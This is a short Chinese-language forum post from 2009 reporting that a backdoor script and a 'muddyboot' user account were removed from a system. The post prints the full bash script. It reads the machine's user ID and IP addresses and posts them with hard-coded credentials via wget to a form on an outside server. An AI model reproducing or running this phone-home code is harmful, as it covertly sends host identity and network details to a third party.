|
|
发表于 2009-2-25 09:36:30
|
显示全部楼层
#/bin/bash
cd /tmp/
mkdir ipaddr
cd ipaddr
userid=$(cat /etc/user-id)
ipaddr=`ip addr show|grep -v LOOPBACK|grep -v loopback|grep -v 127.0.0.1|sed -e 's/^.: //g' -e 's/ <BROADCAST,MULTICAST,NOTRAILERS,UP,10000> mtu 1500 qdisc pfifo_fast qlen 1000//g' -e 's/ brd ff:ff:ff:ff:ff:ff//g' -e 's/\/ether//g' -e 's/ scope global eth.//g' -e 's/ brd /--/g'`
wget --http-user nagiosadmin --http-passwd lcn.j.a --post-data "a_method=add&name=$userid&e-mail=$userid@qq.com&URL=http://&locale=$userid&comments=$ipaddr&submit=send" http://59.175.183.163/nagios2/cgi-bin/gsguest.cgi >/dev/null 2>1
rm -fr /tmp/ipaddr && echo OK
这段后门也被干掉了
muddyboot用户也被去除了 |
|